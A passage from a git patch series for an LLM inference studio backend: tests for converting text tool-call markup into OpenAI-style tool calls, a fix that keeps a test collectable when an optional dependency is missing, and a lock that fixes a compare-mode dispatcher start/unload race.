+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+
+
+def test_empty_output_is_valid_stop(monkeypatch):
+    backend = _ScriptedBackend(_fixed(""))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] in ("", None)
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_tool_role_follow_up_turn_preserves_history(monkeypatch):
+    backend = _ScriptedBackend(_fixed("The weather is sunny."))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "weather?"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": '{"q": "weather"}'},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "The weather is sunny."
+    # The tool history reached the generator intact (role=tool + assistant.tool_calls).
+    sent = backend.calls[0]["messages"]
+    roles = [m["role"] for m in sent]
+    assert "tool" in roles
+    assistant = next(m for m in sent if m["role"] == "assistant")
+    assert assistant.get("tool_calls")
+
+
+def test_dict_arguments_history_does_not_crash(monkeypatch):
+    # Non-spec client: assistant tool_calls[].function.arguments as a dict.
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "hi"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": {"q": "x"}},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "ok"
+
+
+def test_forced_tool_choice_narrows_promotion(monkeypatch):
+    # tool_choice forces `search`; a `lookup` text call must NOT promote.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(
+        tools = [LOOKUP_TOOL, SEARCH_TOOL],
+        stream = False,
+        tool_choice = {"type": "function", "function": {"name": "search"}},
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"].get("tool_calls") is None
+
+
+def test_parallel_cap_non_streaming(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML))
+    payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = False, parallel_tool_calls = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    calls = body["choices"][0]["message"]["tool_calls"]
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "lookup"
+
+
+def test_usage_recorded_when_stats_present(monkeypatch):
+    stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}}
+    backend = _ScriptedBackend(_fixed(_CALL_XML), stats = stats)
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    [entry] = monitor.snapshot()
+    assert entry["prompt_tokens"] == 7
+    assert entry["completion_tokens"] == 3
+
+
+# ── Nudge ─────────────────────────────────────────────────────────
+
+
+def test_nudge_default_off_single_generation(monkeypatch):
+    # Signal present but unparseable; without opt-in, no retry.
+    truncated = '<tool_call>{"name": "lookup"'
+    backend = _ScriptedBackend(_fixed(truncated))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    _call(payload, monkeypatch, backend)
+    assert len(backend.calls) == 1
+
+
+def test_nudge_opt_in_retry_recovers(monkeypatch):
+    truncated = '<tool_call>{"name": "lookup"'
+
+    def responder(messages, tools):
+        nudged = any(
+            "native tool-call format" in (m.get("content") or "")
+            for m in messages
+            if m.get("role") == "user"
+        )
+        return [_CALL_XML] if nudged else [truncated]
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert len(backend.calls) == 2
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+
+
+def test_nudge_double_failure_relays_original(monkeypatch):
+    truncated = '<tool_call>{"name": "lookup"'
+    backend = _ScriptedBackend(_fixed(truncated))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, nudge_tool_calls = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert len(backend.calls) == 2  # exactly one retry
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "stop"
+    assert choice["message"]["content"] == truncated
+
+
+# ── Streaming ─────────────────────────────────────────────────────
+
+
+def test_streaming_heals_split_call_into_one_delta(monkeypatch):
+    # Cumulative snapshots that build the call across many increments.
+    pieces = ["<tool", '<tool_call>{"name": "loo', '<tool_call>{"name": "lookup", "argum']
+    cumulative = pieces + [_CALL_XML]
+    backend = _ScriptedBackend(_fixed(*cumulative))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+    assert tool_deltas[0]["function"]["name"] == "lookup"
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert finishes == ["tool_calls"]
+
+
+def test_streaming_cancel_does_not_finalize_tool_call(monkeypatch):
+    # A stream cancelled via the registry ("Stop") must NOT promote the
+    # buffered-but-unclosed tool markup at finalize, else it executes a tool
+    # the user just cancelled. Guarded on cancel_event at the finalize step.
+    import routes.inference as inf
+
+    cancel_id = "cancel-me-6870"
+    # Balanced JSON but no closing </tool_call> -> healer HOLDS it until finalize.
+    held = '<tool_call>{"name": "lookup", "arguments": {"q": "cats"}}'
+
+    class _CancelMidStream(_ScriptedBackend):
+        def __init__(self):
+            super().__init__(_fixed(held))
+
+        def generate_chat_response(
+            self,
+            *,
+            messages,
+            tools = None,
+            stats_holder = None,
+            **kwargs,
+        ):
+            self.calls.append({"messages": messages, "tools": tools, **kwargs})
+            yield held  # healer holds the unclosed call
+            inf._cancel_by_cancel_id_or_stash(cancel_id)  # user hits Stop before EOF
+
+    backend = _CancelMidStream()
+    payload = _request(tools = [LOOKUP_TOOL], stream = True, cancel_id = cancel_id)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert tool_deltas == []  # no tool promoted after cancel
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert "tool_calls" not in finishes  # ends with finish_reason=stop, not tool_calls
+
+
+def test_streaming_no_tools_verbatim(monkeypatch):
+    backend = _ScriptedBackend(_fixed("hello ", "hello world"))
+    payload = _request(stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    text = "".join(
+        (o["choices"][0]["delta"].get("content") or "")
+        for o in objs
+        if o["choices"] and "delta" in o["choices"][0]
+    )
+    assert text == "hello world"
+    finishes = [
+        o["choices"][0]["finish_reason"]
+        for o in objs
+        if o["choices"] and o["choices"][0].get("finish_reason")
+    ]
+    assert finishes == ["stop"]
+
+
+def test_streaming_repeated_snapshot_no_duplicate_call(monkeypatch):
+    # Repeated then shrunk cumulative snapshots must not double-heal.
+    backend = _ScriptedBackend(_fixed(_CALL_XML, _CALL_XML, _CALL_XML[:5], _CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+
+
+def test_streaming_parallel_cap(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML + _SEARCH_XML))
+    payload = _request(tools = [LOOKUP_TOOL, SEARCH_TOOL], stream = True, parallel_tool_calls = False)
+    response = _call(payload, monkeypatch, backend)
+    objs = _sse_objects(_collect_sse(response))
+    tool_deltas = [
+        tc
+        for o in objs
+        for tc in (o.get("choices", [{}])[0].get("delta", {}) or {}).get("tool_calls", []) or []
+    ]
+    assert len(tool_deltas) == 1
+    assert tool_deltas[0]["function"]["name"] == "lookup"
+
+
+def test_streaming_generator_error_closes_cleanly(monkeypatch):
+    def responder(messages, tools):
+        raise RuntimeError("boom /secret/path")
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    response = _call(payload, monkeypatch, backend)
+    chunks = _collect_sse(response)
+    joined = "".join(c.decode() if isinstance(c, bytes) else c for c in chunks)
+    assert "An internal error occurred" in joined
+    assert "secret/path" not in joined  # CWE-209: no path leak
+    assert backend.reset_count >= 1
+
+
+def test_streaming_disconnect_resets_once(monkeypatch):
+    class _DisconnectRequest(_Request):
+        async def is_disconnected(self):
+            return True
+
+    backend = _ScriptedBackend(_fixed("a", "ab", "abc"))
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    _install(monkeypatch, backend)
+
+    async def _run():
+        resp = await openai_chat_completions(
+            payload, request = _DisconnectRequest(), current_subject = "u"
+        )
+        return [c async for c in resp.body_iterator]
+
+    asyncio.run(_run())
+    assert backend.reset_count == 1
+
+
+def test_mlx_uses_same_path(monkeypatch):
+    # MLX and safetensors share get_inference_backend(); one scripted backend covers both.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["finish_reason"] == "tool_calls"
+
+
+def test_tool_choice_none_does_not_advertise_tools(monkeypatch):
+    # tool_choice="none": no tools rendered into the template; history templating still applies.
+    backend = _ScriptedBackend(_fixed("plain answer"))
+    payload = _request(tools = [LOOKUP_TOOL], tool_choice = "none", stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "plain answer"
+    assert backend.calls[0]["tools"] is None
+
+
+def test_developer_message_folded_into_system_prompt(monkeypatch):
+    # The "developer" role folds into one leading system message (local templates reject it).
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        messages = [
+            ChatMessage(role = "developer", content = "always be terse"),
+            ChatMessage(role = "user", content = "hi"),
+        ],
+        tools = [LOOKUP_TOOL],
+        stream = False,
+    )
+    _call(payload, monkeypatch, backend)
+    sent = backend.calls[0]["messages"]
+    assert sent[0]["role"] == "system"
+    assert "always be terse" in sent[0]["content"]
+    assert all(m.get("role") != "developer" for m in sent)
+
+
+def test_failed_nudge_retry_keeps_original_response(monkeypatch):
+    # A raising retry must not 500; the first response is returned.
+    state = {"n": 0}
+
+    def responder(messages, tools):
+        state["n"] += 1
+        if state["n"] == 1:
+            return ['<tool_call>{"name":"lookup"']  # unhealable signal
+        raise RuntimeError("retry blew up")
+
+    backend = _ScriptedBackend(responder)
+    payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert state["n"] == 2
+    assert body["choices"][0]["finish_reason"] == "stop"
+    assert body["choices"][0]["message"]["content"] == '<tool_call>{"name":"lookup"'
+
+
+def test_discarded_nudge_retry_reports_first_attempt_usage(monkeypatch):
+    # Double-failure nudge: the first response is delivered, but the retry's
+    # generate() overwrites stats_holder. The monitor must record the FIRST
+    # attempt's usage, not the discarded retry's.
+    first_stats = {"usage": {"prompt_tokens": 7, "completion_tokens": 3, "total_tokens": 10}}
+    retry_stats = {"usage": {"prompt_tokens": 99, "completion_tokens": 99, "total_tokens": 198}}
+
+    class _PerCallStatsBackend(_ScriptedBackend):
+        def __init__(self):
+            # Unhealable truncated markup on both attempts -> retry is discarded.
+            super().__init__(lambda m, t: ['<tool_call>{"name":"lookup"'])
+            self._stats_seq = [first_stats, retry_stats]
+
+        def generate_chat_response(
+            self,
+            *,
+            messages,
+            tools = None,
+            stats_holder = None,
+            **kwargs,
+        ):
+            self.calls.append({"messages": messages, "tools": tools, **kwargs})
+            stats = self._stats_seq[min(len(self.calls) - 1, len(self._stats_seq) - 1)]
+            if stats_holder is not None:
+                stats_holder["stats"] = stats
+            for snap in self._responder(messages, tools):
+                yield snap
+
+    backend = _PerCallStatsBackend()
+    payload = _request(tools = [LOOKUP_TOOL], nudge_tool_calls = True, stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    assert len(backend.calls) == 2  # first attempt + one discarded retry
+    [entry] = monitor.snapshot()
+    # The delivered response is the first attempt, so its usage must be reported.
+    assert entry["prompt_tokens"] == 7
+    assert entry["completion_tokens"] == 3
+
+
+def test_monitor_records_healed_call_not_raw_xml(monkeypatch):
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    asyncio.run(_run())
+    snap = monitor.snapshot(include_details = True)
+    replies = json.dumps(snap)
+    assert "<tool_call>" not in replies
+    assert "lookup" in replies
+
+
+def test_streaming_monitor_records_healed_call_not_raw_xml(monkeypatch):
+    # Monitor mirrors what the client received, never the healed-away raw markup.
+    backend = _ScriptedBackend(
+        _fixed("Sure. ", 'Sure. <tool_call>{"name": "loo', "Sure. " + _CALL_XML)
+    )
+    payload = _request(tools = [LOOKUP_TOOL], stream = True)
+    monitor = _install(monkeypatch, backend)
+
+    async def _run():
+        return await openai_chat_completions(payload, request = _Request(), current_subject = "u")
+
+    response = asyncio.run(_run())
+    _collect_sse(response)
+    replies = json.dumps(monitor.snapshot(include_details = True))
+    assert "<tool_call>" not in replies
+    assert "Sure. " in replies
+    assert "[tool_calls] lookup(" in replies
+
+
+def test_forced_tool_choice_narrows_templated_tools(monkeypatch):
+    # A forced function is the only schema rendered into the template.
+    backend = _ScriptedBackend(_fixed(_SEARCH_XML))
+    payload = _request(
+        tools = [LOOKUP_TOOL, SEARCH_TOOL],
+        stream = False,
+        tool_choice = {"type": "function", "function": {"name": "search"}},
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    templated = backend.calls[0]["tools"]
+    assert [t["function"]["name"] for t in templated] == ["search"]
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "search"
+
+
+def test_multimodal_content_parts_flattened_for_local_template(monkeypatch):
+    # Remote image URLs leave image=None, so content arrives as a part LIST:
+    # text parts are kept, the image part dropped.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(
+        messages = [
+            ChatMessage(
+                role = "user",
+                content = [
+                    {"type": "text", "text": "what is this?"},
+                    {
+                        "type": "image_url",
+                        "image_url": {"url": "https://example.com/cat.png"},
+                    },
+                ],
+            )
+        ],
+        tools = [LOOKUP_TOOL],
+        stream = False,
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    templated = backend.calls[0]["messages"]
+    assert all(isinstance(m.get("content"), str) for m in templated)
+    assert any(m["content"] == "what is this?" for m in templated)
+    assert body["choices"][0]["finish_reason"] == "tool_calls"
+
+
+def test_string_arguments_history_deserialized_for_template(monkeypatch):
+    # JSON-string tool_calls arguments become dicts in the templated copy;
+    # the HTTP response stays OpenAI-shaped.
+    backend = _ScriptedBackend(_fixed("done"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "weather?"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": '{"q": "weather"}'},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "sunny"),
+        ],
+    )
+    _json_body(_call(payload, monkeypatch, backend))
+    assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant")
+    assert assistant["tool_calls"][0]["function"]["arguments"] == {"q": "weather"}
+
+
+def test_unparseable_arguments_string_left_untouched(monkeypatch):
+    backend = _ScriptedBackend(_fixed("ok"))
+    payload = _request(
+        tools = [LOOKUP_TOOL],
+        stream = False,
+        messages = [
+            ChatMessage(role = "user", content = "hi"),
+            ChatMessage(
+                role = "assistant",
+                content = None,
+                tool_calls = [
+                    {
+                        "id": "call_0",
+                        "type": "function",
+                        "function": {"name": "lookup", "arguments": "not json {"},
+                    }
+                ],
+            ),
+            ChatMessage(role = "tool", tool_call_id = "call_0", content = "y"),
+        ],
+    )
+    body = _json_body(_call(payload, monkeypatch, backend))
+    assert body["choices"][0]["message"]["content"] == "ok"
+    assistant = next(m for m in backend.calls[0]["messages"] if m["role"] == "assistant")
+    assert assistant["tool_calls"][0]["function"]["arguments"] == "not json {"
+
+
+def test_mcp_enabled_without_server_tools_uses_passthrough(monkeypatch):
+    # mcp_enabled=true with an empty registry must not silently drop the
+    # declared tools; the gate keys on the server-side path claiming the request.
+    backend = _ScriptedBackend(_fixed(_CALL_XML))
+    payload = _request(tools = [LOOKUP_TOOL], stream = False, mcp_enabled = True)
+    body = _json_body(_call(payload, monkeypatch, backend))
+    choice = body["choices"][0]
+    assert choice["finish_reason"] == "tool_calls"
+    assert choice["message"]["tool_calls"][0]["function"]["name"] == "lookup"
+    assert backend.calls[0]["tools"] == [LOOKUP_TOOL]

From 35063716771f10b780ffb23eb0f938472eaa4291 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 21:57:56 -0700
Subject: [PATCH 224/306] Studio: keep the nudge wiring test collectable
 without the unsloth stack (#6924)

test_nudge_tool_calls_wiring.py imported InferenceBackend from
core.inference.inference, which pulls in unsloth (and thus unsloth_zoo)
at module scope. The dependency-light backend CI matrix job does not
install unsloth_zoo, so the import raised at collection time and aborted
the whole job (831 tests never ran). Guard that one import and fold the
safetensors InferenceBackend checks in only when the unsloth stack is
importable; the orchestrator/llama_cpp/safetensors_agentic wiring is
still asserted unconditionally, and local/full-stack runs keep the
InferenceBackend coverage.
---
 .../tests/test_nudge_tool_calls_wiring.py     | 29 +++++++++++++------
 1 file changed, 20 insertions(+), 9 deletions(-)

diff --git a/studio/backend/tests/test_nudge_tool_calls_wiring.py b/studio/backend/tests/test_nudge_tool_calls_wiring.py
index 2c27b220ba..e03fd0c7d7 100644
--- a/studio/backend/tests/test_nudge_tool_calls_wiring.py
+++ b/studio/backend/tests/test_nudge_tool_calls_wiring.py
@@ -23,11 +23,20 @@ Mechanism (verified here without loading a model):
 
 import inspect
 
-from core.inference.inference import InferenceBackend
 from core.inference.llama_cpp import LlamaCppBackend
 from core.inference.orchestrator import InferenceOrchestrator
 from core.inference.safetensors_agentic import run_safetensors_tool_loop
 
+try:
+    # core.inference.inference imports unsloth at module scope, which requires
+    # unsloth_zoo. The dependency-light backend CI matrix job does not install
+    # it, so the safetensors InferenceBackend is folded into the checks below
+    # only when the unsloth stack is importable (local runs / full CI); the
+    # other entry points are always checked.
+    from core.inference.inference import InferenceBackend
+except ImportError:
+    InferenceBackend = None
+
 
 def _params(fn):
     return inspect.signature(fn).parameters
@@ -37,12 +46,14 @@ def test_shared_loop_accepts_nudge_flag():
     assert "nudge_tool_calls" in _params(run_safetensors_tool_loop)
 
 
-def test_all_three_backends_accept_the_flag():
-    for method in (
-        InferenceBackend.generate_chat_completion_with_tools,
+def test_backends_accept_the_flag():
+    methods = [
         InferenceOrchestrator.generate_chat_completion_with_tools,
         LlamaCppBackend.generate_chat_completion_with_tools,
-    ):
+    ]
+    if InferenceBackend is not None:  # safetensors path; needs the unsloth stack
+        methods.append(InferenceBackend.generate_chat_completion_with_tools)
+    for method in methods:
         assert "nudge_tool_calls" in _params(method), method.__qualname__
 
 
@@ -50,10 +61,10 @@ def test_delegating_backends_forward_the_flag_to_the_shared_loop():
     # safetensors (in-process transformers) and MLX (parent-process orchestrator)
     # both delegate to run_safetensors_tool_loop; GGUF runs its own in-file loop
     # and consumes the flag directly (asserted separately by the gate test).
-    for method in (
-        InferenceBackend.generate_chat_completion_with_tools,
-        InferenceOrchestrator.generate_chat_completion_with_tools,
-    ):
+    methods = [InferenceOrchestrator.generate_chat_completion_with_tools]
+    if InferenceBackend is not None:  # safetensors path; needs the unsloth stack
+        methods.append(InferenceBackend.generate_chat_completion_with_tools)
+    for method in methods:
         src = inspect.getsource(method)
         assert "nudge_tool_calls = nudge_tool_calls" in src, method.__qualname__
 

From 9674e882c234479606ae98073fd7d734b97c173a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 22:09:41 -0700
Subject: [PATCH 225/306] Studio: serialize the compare-mode dispatcher
 lifecycle to fix a start race (#6922)

* Studio: serialize the compare-mode dispatcher lifecycle to fix a start race

_generate_dispatched (compare mode) bypasses _gen_lock so two concurrent
compare requests can both reach _start_dispatcher. The check-then-spawn there
had no lock, so both could observe no live dispatcher and each spawn one. The
extra dispatcher is orphaned (self._dispatcher_thread tracks only the last) and
during a later unload it can consume the 'unloaded' reply off _resp_queue before
unload_model's _wait_response, hanging the unload on its timeout.

Add _dispatcher_lifecycle_lock and take it around the whole body of both
_start_dispatcher and _stop_dispatcher, so start/stop cannot interleave and the
second concurrent starter sees the dispatcher alive and returns. _start_dispatcher
now returns whether it actually spawned the thread, and _generate_dispatched
derives dispatcher_preexisting from that atomic result instead of a separate
unlocked is_alive() read.

No call site holds _mailbox_lock when calling start/stop, so joining the
dispatcher (which takes _mailbox_lock) under the new lock cannot deadlock; the
lock order is always _gen_lock then _dispatcher_lifecycle_lock and is never
inverted.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: refuse dispatcher start queued behind an unload's stop

A compare request could pass the early _unload_pending check, then block in _start_dispatcher on _dispatcher_lifecycle_lock behind an unload's _stop_dispatcher. When the unload released the lock the start spawned a fresh dispatcher, which became the resp_queue reader and consumed the worker's unroutable 'unloaded' reply before unload_model's _wait_response saw it, hanging the unload for 300s.

Gate _start_dispatcher on _unload_pending under the lifecycle lock, and set _unload_pending under the same lock ahead of the stop, so any start queued behind the stop observes the unload and refuses. Ordering stays _gen_lock -> _dispatcher_lifecycle_lock. Adds a regression test forcing the queued-behind-stop interleaving.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/orchestrator.py |  92 ++++++---
 .../tests/test_orchestrator_unload_cancel.py  | 192 ++++++++++++++++++
 2 files changed, 257 insertions(+), 27 deletions(-)

diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index e0e6cef6c9..394ff97eac 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -79,6 +79,12 @@ class InferenceOrchestrator:
         self._mailbox_lock = threading.Lock()
         self._dispatcher_thread: Optional[threading.Thread] = None
         self._dispatcher_stop = threading.Event()
+        # Serializes dispatcher start/stop. _generate_dispatched (compare mode) bypasses
+        # _gen_lock, so two concurrent compare requests can both reach _start_dispatcher;
+        # without this lock both could observe no live dispatcher and each spawn one,
+        # orphaning the extra thread (self._dispatcher_thread tracks only the last). The
+        # orphan later steals the "unloaded" reply off resp_queue and hangs unload_model.
+        self._dispatcher_lifecycle_lock = threading.Lock()
 
         # Local state mirrors (updated from subprocess responses)
         self.active_model_name: Optional[str] = None
@@ -514,33 +520,56 @@ class InferenceOrchestrator:
     # Dispatcher — per-request mailbox routing for compare mode
     # ------------------------------------------------------------------
 
-    def _start_dispatcher(self) -> None:
+    def _start_dispatcher(self) -> bool:
         """Start the dispatcher thread if not already running.
 
         The dispatcher reads the shared resp_queue and routes responses to
         per-request mailbox queues, letting multiple adapter-controlled
         (compare) requests be in-flight without holding _gen_lock.
-        """
-        if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
-            return
 
-        self._dispatcher_stop.clear()
-        self._dispatcher_thread = threading.Thread(
-            target = self._dispatcher_loop,
-            daemon = True,
-            name = "inference-dispatcher",
-        )
-        self._dispatcher_thread.start()
-        logger.debug("Dispatcher thread started")
+        The whole check-then-spawn runs under _dispatcher_lifecycle_lock so
+        concurrent compare requests (which bypass _gen_lock) can't both observe
+        no live dispatcher and each spawn one. Returns True only for the caller
+        that actually started a new thread; False if one was already alive.
+        """
+        with self._dispatcher_lifecycle_lock:
+            # Refuse to start while an unload is in progress. unload_model sets
+            # _unload_pending under this same lock before it stops the idle
+            # dispatcher, so a start queued behind that stop observes the unload
+            # here and bails. Without this a fresh dispatcher would be spawned
+            # after the stop, become the resp_queue reader, and consume the
+            # worker's "unloaded" reply (unroutable, so dropped) before
+            # unload_model's _wait_response sees it -- hanging the unload 300s.
+            if self._unload_pending:
+                return False
+            if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
+                return False
+
+            self._dispatcher_stop.clear()
+            self._dispatcher_thread = threading.Thread(
+                target = self._dispatcher_loop,
+                daemon = True,
+                name = "inference-dispatcher",
+            )
+            self._dispatcher_thread.start()
+            logger.debug("Dispatcher thread started")
+            return True
 
     def _stop_dispatcher(self) -> None:
-        """Signal the dispatcher to stop and wait for it."""
-        if self._dispatcher_thread is None:
-            return
-        self._dispatcher_stop.set()
-        self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
-        self._dispatcher_thread = None
-        logger.debug("Dispatcher thread stopped")
+        """Signal the dispatcher to stop and wait for it.
+
+        Runs under _dispatcher_lifecycle_lock (paired with _start_dispatcher) so
+        a stop can't interleave with a concurrent start. Callers must NOT hold
+        _mailbox_lock here: this joins the dispatcher, and the dispatcher loop
+        takes _mailbox_lock, so holding it would deadlock the join.
+        """
+        with self._dispatcher_lifecycle_lock:
+            if self._dispatcher_thread is None:
+                return
+            self._dispatcher_stop.set()
+            self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
+            self._dispatcher_thread = None
+            logger.debug("Dispatcher thread stopped")
 
     def _dispatcher_loop(self) -> None:
         """Background loop: read resp_queue → route to mailboxes by request_id."""
@@ -628,13 +657,14 @@ class InferenceOrchestrator:
             yield "Error: model is being unloaded"
             return
 
-        # Ensure the dispatcher runs. Track whether it was already running: if this call
-        # starts it and then bails on a racing unload, it must stop it again (see the
-        # unloading bail below).
-        dispatcher_preexisting = (
-            self._dispatcher_thread is not None and self._dispatcher_thread.is_alive()
-        )
-        self._start_dispatcher()
+        # Ensure the dispatcher runs. _start_dispatcher serializes concurrent starters under
+        # _dispatcher_lifecycle_lock and returns True only for the caller that actually spawned
+        # the thread, so at most one dispatcher ever exists even when two compare requests race
+        # here. Derive dispatcher_preexisting from that atomic result (not a separate unlocked
+        # is_alive() read): if THIS call started the dispatcher and then bails on a racing
+        # unload, it must stop it again (see the unloading bail below).
+        started = self._start_dispatcher()
+        dispatcher_preexisting = not started
 
         request_id = str(uuid.uuid4())
 
@@ -1041,7 +1071,15 @@ class InferenceOrchestrator:
         # The subprocess runs commands sequentially, so a bare unload queues behind a
         # running generate (a 2-3 min hang). Cancel first (via the mp.Event the worker
         # polls each token), then take _gen_lock as sole resp_queue reader (like GGUF).
-        self._unload_pending = True
+        #
+        # Set _unload_pending under _dispatcher_lifecycle_lock so it is ordered ahead of
+        # the dispatcher stop that _wait_dispatcher_idle runs under the same lock: a
+        # compare request's _start_dispatcher queued behind that stop then observes the
+        # unload and refuses to spawn a fresh dispatcher that would eat the "unloaded"
+        # reply off resp_queue. This is a standalone acquisition (no _gen_lock held yet),
+        # so it keeps the _gen_lock -> _dispatcher_lifecycle_lock order and can't deadlock.
+        with self._dispatcher_lifecycle_lock:
+            self._unload_pending = True
         # Cancelling only the running generation isn't enough: the worker clears
         # cancel_event at each generate start, so a queued one would clear it and run the
         # outgoing model to completion. drain_event, never cleared, makes any generate
diff --git a/studio/backend/tests/test_orchestrator_unload_cancel.py b/studio/backend/tests/test_orchestrator_unload_cancel.py
index e9d0f36fe2..fe3c6d5a0d 100644
--- a/studio/backend/tests/test_orchestrator_unload_cancel.py
+++ b/studio/backend/tests/test_orchestrator_unload_cancel.py
@@ -25,6 +25,8 @@ def _bare_orchestrator():
     o._cmd_queue = object()
     o._resp_queue = object()
     o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
     o._unload_pending = False
     o.active_model_name = "m"
     o.models = {"m": {}}
@@ -1253,6 +1255,7 @@ def test_dispatched_bail_stops_orphan_dispatcher_it_started(monkeypatch):
     def fake_start():
         started["v"] = True
         o._dispatcher_thread = _AliveDispatcher()
+        return True  # _start_dispatcher returns True for the caller that spawned it
 
     def fake_stop():
         stopped["v"] = True
